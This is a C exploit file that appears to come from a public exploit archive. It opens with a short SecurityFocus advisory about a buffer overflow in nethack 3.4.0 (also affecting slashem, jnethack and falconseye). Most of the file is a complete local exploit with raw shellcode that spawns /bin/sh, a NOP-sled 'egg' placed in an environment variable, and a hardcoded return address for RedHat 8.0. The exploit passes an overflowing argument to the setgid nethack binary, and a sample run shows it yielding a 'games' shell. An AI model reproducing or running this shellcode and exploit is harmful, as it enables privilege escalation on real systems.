70 lines
No EOL
2.6 KiB
C
Executable file
70 lines
No EOL
2.6 KiB
C
Executable file
source: http://www.securityfocus.com/bid/6806/info
|
|
|
|
By passing an overly large string when invoking nethack, it is possible to corrupt memory.
|
|
|
|
By exploiting this issue it may be possible for an attacker to overwrite values in sensitive areas of memory, resulting in the execution of arbitrary attacker-supplied code. As nethack may be installed setgid 'games' on various systems this may allow an attacker to gain elevated privileges.
|
|
|
|
slashem, jnethack and falconseye are also prone to this vulnerability.
|
|
|
|
|
|
/* DSR-nethack.c by bob@dtors.net
|
|
* Vulnerbility Found by tsao.
|
|
*
|
|
* Local BufferOverflow that leads
|
|
* to elevated privileges [games].
|
|
*
|
|
* Basic PoC code...nothing special.
|
|
*[bob@dtors bob]$ ./DSR-nethack
|
|
*
|
|
* DSR-nethack.c By bob.
|
|
* Local Exploit for Nethack 3.4.0
|
|
* DSR-[www.dtors.net]-DSR
|
|
*
|
|
* ret: 0xbffffd86
|
|
*
|
|
* Cannot find any current entries for
|
|
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.???
|
|
* Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
|
|
* Player types are: [-p role] [-r race]
|
|
* sh-2.05b$ id -a
|
|
* uid=12(games) gid=501(bob) groups=501(bob)
|
|
* sh-2.05b$
|
|
*
|
|
* www.dtors.net // www.b0f.net
|
|
*/
|
|
#include <stdio.h>
|
|
char shellcode[]= /* shellcode by bob */
|
|
|
|
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
|
|
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
|
|
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";
|
|
int main ()
|
|
{
|
|
unsigned long ret = 0xbffffd86; //Redhat 8.0 i386
|
|
char buf[224];
|
|
char smeg[1024];
|
|
char *ptr;
|
|
int i=0;
|
|
fprintf(stdout, "\n\tDSR-nethack.c By bob.\n");
|
|
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
|
|
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
|
|
|
|
memset(buf, 0x41, sizeof(buf));
|
|
ptr = smeg;
|
|
for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90;
|
|
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
|
|
smeg[1024 - 1] = '\0'; //null byte
|
|
memcpy(smeg,"EGG=",4);
|
|
putenv(smeg);
|
|
buf[220] = (ret & 0x000000ff);
|
|
buf[221] = (ret & 0x0000ff00) >> 8;
|
|
buf[222] = (ret & 0x00ff0000) >> 16;
|
|
buf[223] = (ret & 0xff000000) >> 24;
|
|
buf[224] = '\0';
|
|
|
|
fprintf(stdout,"ret: 0x%08x\n",ret);
|
|
|
|
execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s", buf,
|
|
NULL); //weeoooweeeeooowooo
|
|
return 0;
|
|
} |